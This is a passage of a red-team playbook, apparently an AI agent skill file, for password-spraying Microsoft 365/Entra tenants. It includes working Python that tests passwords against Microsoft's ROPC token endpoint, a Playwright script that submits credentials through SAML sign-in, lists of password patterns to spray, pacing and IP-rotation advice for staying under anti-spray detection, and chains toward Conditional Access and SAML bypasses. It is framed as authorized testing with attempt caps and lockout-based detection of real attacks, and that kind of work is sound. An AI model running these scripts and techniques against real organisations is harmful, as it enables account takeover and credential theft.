+ | SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
151
+ | Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
152
+
153
+ **Key insight from this engagement:** in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. **Phishing-completed cookie steal is the only realistic adversary path.** Document this clearly so the client understands the threat model.
154
+
155
+ ---
156
+
157
+ ## ROPC password validation (the canonical test)
158
+
159
+ **Single-attempt validator pattern (Python):**
160
+
161
+ ```python
162
+ import urllib.request, urllib.parse, ssl, time, json, os
163
+ ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
164
+ ATTEMPT_FILE = "engagement_log/o365_attempts.json"
165
+ HARD_CAP = 1 # or 2 — never higher
166
+
167
+ def attempt(email, password):
168
+ state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
169
+ if state.get(email.lower(), 0) >= HARD_CAP:
170
+ return {"status": "SKIPPED_CAP"}
171
+ body = urllib.parse.urlencode({
172
+ "resource": "https://graph.windows.net",
173
+ "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
174
+ "client_info": "1",
175
+ "grant_type": "password",
176
+ "username": email,
177
+ "password": password,
178
+ "scope": "openid",
179
+ }).encode()
180
+ state[email.lower()] = state.get(email.lower(), 0) + 1
181
+ json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
182
+ os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
183
+ req = urllib.request.Request(
184
+ "https://login.microsoftonline.com/common/oauth2/token",
185
+ data=body, method="POST",
186
+ )
187
+ req.add_header("Content-Type", "application/x-www-form-urlencoded")
188
+ try:
189
+ r = urllib.request.urlopen(req, context=ctx, timeout=15)
190
+ body = json.loads(r.read())
191
+ # PARSE AS JSON — see CRITICAL TRAP below about substring matching
192
+ if "access_token" in body: # ← JSON key check, NOT substring
193
+ return {"status": "VALID", "body": body}
194
+ return {"status": "STATUS_200_NO_TOKEN", "body": body}
195
+ except urllib.error.HTTPError as e:
196
+ msg = e.read().decode(errors="ignore")
197
+ for code, status in [
198
+ ("AADSTS50034", "INVALID_USER"),
199
+ ("AADSTS50126", "INVALID_PW"),
200
+ ("AADSTS50053", "LOCKED"),
201
+ ("AADSTS53003", "VALID_CA_BLOCK"),
202
+ ("AADSTS50076", "VALID_MFA"),
203
+ ("AADSTS50079", "VALID_MFA"),
204
+ ]:
205
+ if code in msg:
206
+ return {"status": status, "code": code}
207
+ return {"status": "OTHER", "msg": msg[:200]}
208
+ ```
209
+
210
+ ### ⚠ CRITICAL TRAP — AADSTS50076 body contains literal `"access_token"` substring
211
+
212
+ When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a `claims` field listing CA policy IDs as a step-up challenge:
213
+
214
+ ```json
215
+ {
216
+ "error": "invalid_grant",
217
+ "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
218
+ "error_codes": [50076],
219
+ "suberror": "basic_action",
220
+ "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
221
+ }
222
+ ```
223
+
224
+ **The `"access_token"` substring appears inside the CA claims challenge JSON.** A loose substring check `if "access_token" in raw_body:` will false-positive every MFA-blocked attempt as a successful token issuance.
225
+
226
+ **Always parse JSON, then check `if "access_token" in parsed_dict:`** — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.
227
+
228
+ The `claims.access_token.capolids` values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.
229
+
230
+ **Pace:**
231
+ - **NEVER use concurrency. Single-threaded, serial, paced. This is a hard rule, not a tuning knob.** Entra has an IP-reputation anti-spray layer that is SEPARATE from per-user Smart Lockout. Concurrency — not attempts-per-user — is what trips it. Once tripped it returns `AADSTS50053` (LOCKED) en masse for accounts you hit only once (mathematically impossible to be real per-user locks → they are IP-level rejections), which (a) **contaminates your existence data** — 50053 is now ambiguous and you've burned the 1/user cap so you can't re-test — and (b) **flags your egress IP as a spray source** in the tenant. Observed live on an authorized engagement: switching from serial to 12 threads produced ~183 false `AADSTS50053` in 15s vs. 1 across 454 paced attempts.
232
+ - The earlier "≤30 req/sec is fine" guidance is MISLEADING for a real tenant — read it as "serial with 1.5–3s jitter," never as "parallelize up to 30/s."
233
+ - Per-user: hard cap from state file is the only thing that matters for lockout-causation; serial pacing is what matters for IP reputation.
234
+ - Random jitter (1.5–5s between attempts) for less-machine-like signature.
235
+ - **Kill-switch:** if >~5 `AADSTS50053` appear in a run where your cap is 1/user, STOP — you've either tripped IP anti-spray (your fault, pace down / rotate IP / wait for cooldown) or detected a real external spray (a finding). Either way, pause and diagnose before continuing.
236
+
237
+ ---
238
+
239
+ ## SAML SSO browser flow (for definitive cred validation when CA blocks ROPC)
240
+
241
+ When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
242
+
243
+ ```python
244
+ import asyncio
245
+ from playwright.async_api import async_playwright
246
+
247
+ async def saml_validate(target_sp_url, username, password, screenshot_dir):
248
+ async with async_playwright() as p:
249
+ browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
250
+ context = await browser.new_context(ignore_https_errors=True)
251
+ page = await context.new_page()
252
+ # Step 1: navigate to SP
253
+ await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
254
+ # Step 2: click sign-in (selectors vary per SP)
255
+ for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
256
+ try:
257
+ await page.locator(sel).first.click(timeout=3000)
258
+ break
259
+ except: continue
260
+ await page.wait_for_load_state("networkidle", timeout=20000)
261
+ # Step 3: submit username at Microsoft
262
+ await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
263
+ await page.locator('input[type="submit"], #idSIButton9').first.click()
264
+ await page.wait_for_load_state("networkidle", timeout=20000)
265
+ # Step 4: submit password
266
+ await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
267
+ await page.locator('input[type="submit"], #idSIButton9').first.click()
268
+ await page.wait_for_load_state("networkidle", timeout=30000)
269
+ # Step 5: capture
270
+ await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
271
+ content = await page.content()
272
+ cookies = await context.cookies()
273
+ await browser.close()
274
+ # Check outcome
275
+ low = content.lower()
276
+ if "convergedconditionalaccess" in low or "53003" in low:
277
+ return "CA_BLOCKED" # cred valid, CA wall
278
+ elif "verify your identity" in low or "approve sign in" in low:
279
+ return "MFA_REQUIRED" # cred valid, MFA wall
280
+ elif "we couldn't sign you in" in low or "wrong" in low:
281
+ return "INVALID"
282
+ elif "<post-auth-landing-marker>" in low or "dashboard" in low:
283
+ return "FULL_SUCCESS" # session obtained (replace marker per target app)
284
+ return "UNCLEAR"
285
+ ```
286
+
287
+ Microsoft's `ConvergedConditionalAccess` page (PageID in source) is the definitive evidence of CA-block.
288
+
289
+ ---
290
+
291
+ ## Active-attacker detection via lockout differential
292
+
293
+ If you see `AADSTS50053` (LOCKED) on multiple users despite your 1-attempt-per-user cap:
294
+ 1. **You did not cause these locks** (math: 1 < 10).
295
+ 2. **An external attacker is actively spraying the tenant.**
296
+ 3. **Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.**
297
+ 4. **Diff lockout count between spray-start and spray-end** — new locks during your session = attacker is active *right now*.
298
+ 5. **Document the locked email list as a finding** (SOC actionable — they pull sign-in logs for those users).
299
+
300
+ This is the **highest-impact byproduct** of any M365 spray engagement. Always track and report.
301
+
302
+ ---
303
+
304
+ ## Common password patterns to spray (multi-brand enterprise targets)
305
+
306
+ - `<BrandName>@<Year>` — `<Brand>@2026`, `Tata@2026`
307
+ - `<BrandName>@123` — `<Brand>@123` (very common)
308
+ - `<PlantCity>@<Year>` — `<City1>@2026`, `<City2>@2026` (production plant cities)
309
+ - `<EmployeeID-as-password>` — common in legacy apps (PAN number, employee code, phone last4)
310
+ - `Password@<year>`, `Welcome@<year>`, `Admin@<year>` — generic defaults
311
+ - `<BrandName>@<Y2-digits>` — `<Brand>@26`
312
+
313
+ **Engagement caveat:** when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.
314
+
315
+ ---
316
+
317
+ ## Engagement journaling (mandatory)
318
+
319
+ Every M365 attempt logs to JSONL:
320
+ ```json
321
+ {"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
322
+ ```
323
+
324
+ **Per-user tracker** (atomic):
325
+ ```json
326
+ {"user1@<client>.example": 1, "user2@<client>.example": 1, ...}
327
+ ```
328
+
329
+ **IP rotation log** (per-day):
330
+ ```
331
+ 2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 spray
332
+ ```
333
+
334
+ These three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
335
+
336
+ ---
337
+
338
+ ## Real-world findings template (from authorized-engagement)
339
+
340
+ For the report:
341
+
342
+ **Finding: 261 Entra accounts in pre-existing lockout state**
343
+ - Subject: Active external password-spray campaign detected
344
+ - Evidence: `o365_results.jsonl` filtered to `status=LOCKED`
345
+ - Math: 1-attempt-per-user × 261 LOCKED ≠ our doing
346
+ - SOC action: pull sign-in logs for these 261 accounts over last 30-60 days
347
+
348
+ **Finding: Valid M365 cred — `<user>:<password>` (CA-blocked)**
349
+ - Subject: Confirmed valid credential
350
+ - Evidence: ROPC AADSTS53003 + SAML SSO `ConvergedConditionalAccess` page screenshot
351
+ - Microsoft documentation excerpt: "AADSTS53003 returned only after password validation"
352
+ - Recommendation: force password reset, audit org-wide for similar pattern
353
+
354
+ ---
355
+
356
+ ## Anti-patterns (don't do these)
357
+
358
+ - **DON'T use the leaked cred for the user across multiple resources** — burns the cap with no marginal benefit when CA blocks all paths
359
+ - **DON'T retry after AADSTS50053** — account is locked, you'll just see lockout again
360
+ - **DON'T parallelize ROPC/auth requests AT ALL** — serial + paced only. Concurrency trips Entra's IP-reputation anti-spray (separate from Smart Lockout), floods false `AADSTS50053`, contaminates results, and flags your IP. "Going faster" by adding threads costs more than it saves. The only safe speed-up is removing dead/nonexistent users first (small `GetCredentialType` batches <60), not raising concurrency.
361
+ - **DON'T forget to test ALL Entra tenants** — sister domains often have separate tenants with different password policies
362
+ - **DON'T retract a CA-block finding** — AADSTS53003 means the password is correct; that's the whole point
363
+
364
+ ---
365
+
366
+ ## Tooling
367
+
368
+ ```bash
369
+ pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
370
+ brew install pandoc # for report generation
371
+ go install -v github.com/projectdiscovery/... # PD toolkit for general recon
372
+ ```
373
+
374
+ Pre-built `m365_validator.py` template at engagement working directory `engagement_log/m365_validator.py`. Adapt the `attempt()` function to your engagement.
375
+
376
+ ---
377
+
378
+ ## Related Skills & Chains
379
+
380
+ - **`hunt-mfa-bypass`** — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → `hunt-mfa-bypass` factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.
381
+ - **`hunt-ntlm-info`** — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields `corp.example.com` → `m365-entra-attack` resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.
382
+ - **`okta-attack`** — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 `getuserrealm` returns `NameSpaceType: Federated` with AuthURL pointing to `*.okta.com` → pivot to `okta-attack` for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.
383
+ - **`hunt-saml`** — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: `getuserrealm` reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → `hunt-saml` XSW1-XSW8 against IdP's `/adfs/ls/` or equivalent → forged assertion → Entra grants access.
384
+ - **`redteam-report-template`** — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through `triage-validation` 7-Question Gate → package via `redteam-report-template` with explicit blast-radius (which apps, which users, which data) for client deliverable.